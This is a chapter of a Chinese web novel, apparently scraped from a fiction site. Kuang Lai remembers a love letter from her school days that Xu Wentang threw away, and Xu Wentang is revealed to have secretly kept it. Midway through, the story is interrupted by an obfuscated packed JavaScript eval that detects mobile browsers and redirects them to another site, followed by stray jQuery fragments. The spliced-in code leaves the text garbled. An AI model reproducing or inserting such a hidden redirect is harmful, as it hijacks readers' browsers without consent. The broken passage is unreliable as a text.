久远的记忆袭击了况莱的大脑，像一颗吹起来又瘪掉的泡泡糖。
“啪嗒”一声。
仿佛专属于她少女时代的号角，快速膨胀，又快速消退。
事情发生在高中那年，况莱意外得知，自己那位性格内敛的文静同桌，竟然偷偷暗恋某位学姐。
起因是在同桌因为生病休学留级，又在八百米摔倒后。
这位学姐在一众中学小破男孩的嘲笑声中，背着同桌去了医务室，后来还给同桌很温柔地包扎好了膝盖上的伤口——也就是丁细铃。
但那会丁细铃已经毕业，即将去省外念大学。
而青春期的况莱冒冒失失，对别人的事比对自己的事还上心。
她自告奋勇，要趁这位学姐还没有离开酸梅岭的时候，替同桌准确传达出那份心意。
于是在某个像橘子汁被挤出来的黄昏，况莱帮同桌把情书很准确地送到了丁细铃手中，也完全没看丁细铃的反应。
完全沉迷在“自己做了好事今天好酷”的得意中，吹了下刘海，丢下一句——“学姐你一定要亲自打开看”，就骑着单车跑掉了。
没过多久。
同样一个黄昏，比橘子汁稍微深一点，也就是在况莱与丁细铃分别不到一个小时之后，即将去省外念大学的许温棠突然出现在她家门口，敲她的头，对她说，
“况莱，不准早恋。”
“啪嗒”——
夏天的柏油路气味难闻，情书被毫不留情扔进垃圾桶。
同桌不善言辞，只在况莱主动提出帮她写还帮她送时才勉强点头。
所以，这是况莱自己趴在桌子上字斟句酌，仔细回忆同桌向她诉说的细节，花了好几个夜晚才写出来、又送出去的情书。
夕阳像金色河流流淌，横在她们中间。况莱难以置信情书就这样被扔进垃圾桶。
“许温棠你有病吧！”她下意识弯腰去翻垃圾桶。
“就算要写，也得等你高考以后。”许温棠理智又冷静，仿佛这才是最正确的处理方式。
恰好况莱敏感又叛逆，最讨厌许温棠总是用这种大人的口吻和她说话。
“高考以后？你不觉得你特别双标吗许温棠？”
夏日聒噪，飞虫乱飞，她仰头看向居高临下的许温棠，简直怒不可遏，“意思是说你现在随便做什么都可以，而我就连写封情书都不可以了？”
“对。”
许温棠几乎不假思索。
就好像，明明只差两岁七个月零六天，但在况莱尚且还被划分在“不准早恋”的范畴里的时候，许温棠自己却很快就要属于另外一个范畴——
她马上就会过掉十八岁生日，成为一个真正的大人，去离况莱很远的地方 ，或许可以谈一场精彩的、不会被管教的校园恋爱。
甚至会回来的越来越少，也会在某一年带一个况莱完全不认识的人回来，和所有大人名正言顺地介绍：这是她的恋人。
就像酸梅岭所有去外面读大学就会把这里忘掉的人一样。许温棠很快也要飞走了。
“你又有什么资格管我？”这是况莱当时对许温棠说的话。
“许温棠，你真讨厌。”
之后她气得关门跑掉，也非常不成熟地忘记，这本来是同桌和丁细铃之间的事，过了五六分钟，才又匆匆忙忙跑出来，去垃圾桶里拼命翻那封被许温棠扔掉的情书。
从黄昏翻到天黑，也没有从垃圾桶里翻到情书的踪影。
那天，她像只被从池塘里捞出来的水鬼一样，垂头丧气蹲坐在垃圾桶边，看到上高中后她妈好不容易才答应给她买的手机上，有同桌打来的几通未接来电。
这才失魂落魄意识到自己又搞砸一件事。大概就像她妈一直数落的那样，她就是一个不懂事的、容易生气的、长不大的况莱。
但她想要补救。所以当晚，况莱骑上自己的单车，满头大汗骑到同桌家，眼泪汪汪地跟同桌道歉，说自己不小心搞砸了她的事情。
同桌用漂亮干净的手帕纸帮她擦汗，摇摇头，对她说，“况莱，谢谢你。”
“谢谢你以我的名义帮我写情书，也谢谢你愿意帮我送出去。但其实我刚刚打那么多电话给你，就是希望你不要把那封情书送出去。”
“也幸好……幸好来得及。”同桌很紧张地呼出一口气，“幸好你没有送出去。”
“为什么？”况莱红着眼睛问，“你是不是……为了是不是安慰我才这么说啊？”
同桌笑起来，“不是。”
她的嘴角有个小小的梨涡，“因为我想了很久，还是觉得自己不想告诉她。”
“为什么喜欢一个人会不想告诉她呢？”况莱觉得这个问题对自己很难。
同桌的表现比她成熟很多，“等你以后遇见你喜欢的人，大概就会知道这种心情的。”
“什么心情？”
“喜欢她，却在全世界唯一不想让她知道的心情。”
“好奇怪的心情。”
“嗯，好奇怪的心情。”
那天晚上，况莱问同桌是不是因为她搞砸了所以才后悔送情书。
同桌也耐心说明，那也不是她自己写的情书，她不想连这份心意都让别人代替。她希望就算况莱之后找到情书，也不要送出去，而是直接帮忙销毁。
况莱不死心，当晚骑单车追到垃圾站，灰头土脸地翻了很久。最后确认真的完全找不到那封情书的踪影，才魂不守舍回家。
后来，因为同桌确定真的不想表明心意，情书也没能找到。这件事就彻底不了了之。
如今这么久过去，连况莱自己都快要想不起来这件事了。
因为在她幼稚且莽撞的少女时代，只是所有与许温棠有关的、让她愤怒的、不满的、烦闷的事情里……其中很不起眼的一件。
也几乎要忘记那封情书的主人公是谁。她没想到丁细铃竟然还会有印象。
“我想起来了。”
丁细铃转脸，看向在洗碗池的许温棠，“那个时候是不是还是你替我处理的来着？”
洗碗池的水声早已停下。
“有吗？”
许温棠背对着她们，慢慢取下橡胶手套，心不在焉地说，“我没什么印象了。”
没印象？况莱抿抿唇。
虽然许温棠对这件事没印象很正常，但……但况莱就是不太喜欢，只有自己一个人记得的感觉。毕竟那天的许温棠真的很讨厌。
地位仅次于那件扎脖子的红高领毛衣，况莱小时候过年都要被她妈逼着穿，说穿着精神。
“怎么没印象？”丁细铃大大咧咧追问，“我记得你还说——”
“况莱。”许温棠突然打断丁细铃的话。
她转过身。
把洗干净的保温桶提起来，在灯光下看着况莱微笑，“保温桶洗好了。”
“哦。”况莱低头，接过被许温棠又擦干净的保温桶，“那我走了。”
“就走了？”丁细铃有些意外，“话还没说几句呢？”
“嗯，我今天刚回来，还得回去收拾行李呢。”况莱说。
“行，那小况莱拜拜~”丁细铃笑眯眯地挥挥手。
况莱也抿抿唇，说，“拜拜。”
没有再喊铃姐姐。
看了眼许温棠。
没有和她说“拜拜”。
况莱拎着保温桶慢慢吞吞走了出去。
好像之前还恨不得马上跑掉，但自从某个人出现之后，就忽然舍不得离开这里一样。
许温棠看她的背影，等她的影子都缩小，彻底看不见了，才收回目光。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387969|200285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看了看在客厅沙发上瘫着的丁细铃。
许温棠垂下眼，把之前分出来的话梅小排和蒸花蟹放进冰箱，又绕到门口，静静倚着门框。
春夜风凉，对门那栋房子比她家地势低，要下个坡才能走到，这会，遥遥去看，也能看清门前还亮着明黄的灯。
一分钟，两分钟……
有个模模糊糊的人影下了坡，从她家大门晃进那张大门，踏进院子。
“许温棠你夸张了哈，从你家到她家拢共也就这么点路。”
丁细铃不知道什么时候跟了过来，“要真这么担心，你刚才怎么不送送她？”
许温棠淡淡看丁细铃一眼，“她不会让我送的。”
“这么点路你还真想送？”丁细铃大惊小怪，又说，
“不过我们小况莱挺好说话的啊？哪有你说那么严重啊？”
“我和你不一样。”
“哪不一样？”
她不会让我送她，也不会让我喊她小况莱。
你可以做的很多事情，我都不可以做。
因为我对她而言是令她讨厌的许温棠。我是爱管教她的、扔掉她少女时代第一封情书的、动不动就威胁她的、奇怪又无聊的许温棠。
“丁细铃。”许温棠突然出声。
“啊？”丁细铃侧脸看她。
不过许温棠对此并无悔改之意，就算她们都已经长大，她也仍旧需要干涉况莱的一切，也无法忍受，对况莱而言，有另外一个人比她的存在感更强。
因此她对丁细铃说，
“这段时间你都先不要来我家找我。”
-
丁细铃没有待多久。
离开之前，她对许温棠的行为表示明确的不理解。但还是选择接受。
“说实话这个要求挺奇怪的。不过因为你是许温棠，那就成交吧。”
之后许温棠独自关好门，上楼。
回到二楼卧室。
她站到窗边，望对门院子里那棵已经长得很高的酸梅树。
很久。
对门二楼的灯点亮。
她收回目光，垂眼，盯那张木桌，也盯那张木桌上的划痕。
几乎持续了一分钟。
许温棠坐下来，把之前锁上的抽屉打开，铁皮盒还在里面。她拿出来，把铁皮盒的盖子打开，里面是一封信。
那段时间很流行的信封，像酸梅树一样的绿色，缀着线条和星星，没有蝴蝶结，颜色很淡。很难让人联想到这是一封情书。
但……
在它变成丁细铃手里那封情书以前，许温棠就已经偶然间看到过它出现——在况莱房间书桌上，被很谨慎很珍惜地压在课本下面。
后来，它变成情书。
丁细铃很紧张地交给她。
许温棠带着这封情书去找况莱，当着况莱的面扔进垃圾桶，对况莱说“不准早恋”。
况莱很生气地对许温棠说，
“你有什么资格管我？”
“许温棠，你真讨厌。”
况莱很愤怒地从许温棠身边跑掉。
许温棠在大门外站了快到一分钟，翻垃圾桶，把情书找出来，回家，把边边角角粘到的灰尘和油渍都擦干净，找到一个装进口饼干的铁皮盒，放进去，盖起来。
许温棠很冷静地扔掉况莱的情书，又把它捡回来。
因为它毕竟是况莱少女时代的第一封情书。
这或许很珍贵。
像孩童时期每个人都会掉落的第一颗乳牙。可能很久以后会没人记得，但或许会是某种珍贵佐证。许温棠作为两家人眼中能管得住况莱的姐姐，自然也有责任替况莱处理和保管。
只是后来，她也常后悔那天自己处理轻率。
于是从来都没有打开。